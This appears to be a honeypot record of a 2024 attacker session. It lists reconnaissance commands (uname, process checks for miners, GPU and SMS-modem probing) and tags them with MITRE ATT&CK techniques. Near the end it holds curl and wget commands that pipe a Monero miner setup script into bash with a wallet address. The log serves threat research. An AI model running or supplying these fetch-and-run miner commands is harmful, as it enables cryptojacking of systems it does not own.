Honeypot attack session (period 2024), commands issued:
whoami > 1;la
curl https://ipinfo.io/org --insecure -s
nan
curl https://ipinfo.io/org 
curl www.baidu.com
wget  https://ipinfo.io/org
wget  https://ipinfo.io/org > 1
ls
cat 1
wget  https://ipinfo.io/org |echo
cat /proc/self
cat /proc/self/exe
system
syatem
uname -s -v -n -r -m
ps | grep '[Mm]iner'
ls -la /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*
uname -a
uname
curl
uname -a ; nvidia-smi --list-gpus | grep 0 | cut -f2 -d: | uniq -c
/bin/bash -c "uname -a ; nvidia-smi --list-gpus | grep 0 | cut -f2 -d: | uniq -c"
ps -ef | grep '[Mm]iner
nvidia-smi --list-gpus | grep 0 | cut -f2 -d: | uniq -c
nvidia-smi --list-gpus | grep 0 | cut -f2 -d:
enable
shell
sh
/ip cloud print
/bin/busybox cat /proc/self/exe || cat /proc/self/exe
curl -s -L https://raw.githubusercontent.com/MoneroOcean/xmrig_setup/master/setup_moneroocean_miner.sh | bash -s 46BuxHk6RE4WnrAD1PeGkTJwYLc1VtEUb5rnmRGe2vweSeFUpCn9Q4UYewGtJwycXWE2Uc2WgCJsZCNTVGMf97tj5q5McVo
curl: option -L not recognized
curl: try 'curl --help' or 'curl --manual' for more information

wget  https://raw.githubusercontent.com/MoneroOcean/xmrig_setup/master/setup_moneroocean_miner.sh | bash -s 46BuxHk6RE4WnrAD1PeGkTJwYLc1VtEUb5rnmRGe2vweSeFUpCn9Q4UYewGtJwycXWE2Uc2WgCJsZCNTVGMf97tj5q5McVo

MITRE ATT&CK techniques observed:
T1033 System Owner/User Discovery
T1083 File and Directory Discovery
T1105 Ingress Tool Transfer
T1590 Gather Victim Network Information
T1083 File and Directory Discovery
T1590 Gather Victim Network Information
T1083 File and Directory Discovery
T1059 Command and Scripting Interpreter
T1087 Account Discovery
T1424 Process Discovery
T1083 File and Directory Discovery
T1087 Account Discovery
T1082 System Information Discovery
T1059 Command and Scripting Interpreter
T1082: System Information Discovery
T1424 Process Discovery
T1082 System Information Discovery
T1059 Command and Scripting Interpreter
T1016 System Network Configuration Discovery
T1059 Command and Scripting Interpreter
T1083 File and Directory Discovery
T1105 Ingress Tool Transfer
T1027 Obfuscated Files or Information
T1059 Command and Scripting Interpreter
T1105 Ingress Tool Transfer
T1059 Command and Scripting Interpreter
T1027 Obfuscated Files or Information